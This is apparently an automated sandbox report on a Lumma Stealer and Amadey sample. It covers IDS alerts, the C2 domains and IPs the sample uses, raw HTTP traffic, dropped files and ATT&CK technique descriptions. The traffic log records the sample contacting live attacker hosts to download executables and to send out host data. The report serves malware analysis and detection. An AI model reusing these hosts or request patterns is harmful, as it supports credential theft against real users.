Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49788 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49788 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49840 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49808 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49790 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49855 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49876 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49790 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49811 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49811 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49806 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49806 -> 104.21.91.209:443

Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: pancakedipyps.click
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 31 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018143001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 31 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018144001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/wicked/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 31 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018145001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 31 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018146001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 439079Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 36 36 34 33 36 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=2Rb3R6cTcShMDFLr1734664370 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 31 34 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018147001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/bckosq/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 31 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018148001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/loadman/random.exe HTTP/1.1Host: 31.41.244.11

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 98.85.100.80 98.85.100.80

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49766 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49783 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49788 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49790 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49800 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49808 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49806 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49810 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49811 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49816 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49829 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49830 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49839 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49840 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49838 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49847 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49855 -> 104.21.23.76:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49856 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49866 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49875 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49876 -> 104.21.91.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49909 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49926 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49931 -> 104.131.68.180:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: pancakedipyps.click
Source: global traffic	DNS traffic detected: DNS query: treehoneyi.click
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: bellflamre.click
Source: global traffic	DNS traffic detected: DNS query: immureprech.biz

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\521206d971.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe

C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe

C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe

C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe

Windows Analysis Report
file.exe

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

